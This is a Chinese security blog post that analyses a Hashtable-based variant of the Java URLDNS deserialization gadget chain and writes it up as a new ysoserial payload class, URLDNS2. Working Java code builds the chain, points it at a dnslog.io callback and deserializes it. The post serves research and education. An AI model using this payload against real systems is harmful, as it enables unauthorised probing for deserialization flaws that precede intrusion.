昨天对 URLDNS 反序列化链进行了分析,在分析的过程中,参考到 ph4nt0mer 师傅的ysonserial
中
先构造代码,再进行分析,是通过一个新的类 Hashtable
来替换 HashMap
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
public class DnsTest {
public static void main(String[] args) throws Exception {
Object object = getObject("http://ytfgs.l.dnslog.io");
runReadobject(object);
}
public static Object getObject(final String url) throws Exception {
//HashMap<URL, String> hashMap = new HashMap<URL, String>();
Hashtable hashtable =new Hashtable();
URL url1 = new URL(url);
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true);
filed.set(url1, 123);
hashtable.put(url1,"test");
//hashMap.put(url1, "test");
filed.set(url1, -1);
//return hashMap;
return hashtable;
}
public static void runReadobject(Object object) throws Exception {
//序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
//反序列化
ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}
Hashtable
实现了 Serializable
接口,说明这个类是可以被反序列化的
java.util.Hashtable#readObject
Hashtable
跟 HashMap
的 readObject 的功能很相似,我们跟进 reconstitutionPut
方法
java.util.Hashtable#reconstitutionPut
看到 key.hashCode();
后面的链似乎已经呼之欲出,与 URLDNS 基本相同
java.net.URL#hashCode
java.net.URLStreamHandler#hashCode
java.net.URLStreamHandler#getHostAddress
整个利用链如下
* java.util.Hashtable#readObject
* java.util.Hashtable#reconstitutionPut
* java.net.URL#hashCode
* java.net.URLStreamHandler#hashCode
* java.net.URLStreamHandler#getHostAddress
我们在ysonserial 中仿写一个 URLDNS2
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.Hashtable;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget Chain:
* Hashtable.readObject()
* Hashtable.reconstitutionPut()
* URL.hashCode()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
public class URLDNS2 implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
Hashtable ht = new Hashtable();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
编译一下整个项目,生成payload
import java.io.*;
public class readObject {
public static void main(String[] args) throws Exception{
String object = new String("E:\\Project\\ysoserial\\ysoserial-master\\target\\1.ser");
FileInputStream fileInputStream = new FileInputStream(object);
//反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
fileInputStream.close();
}
}
本文作者:Whippet
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/157454.html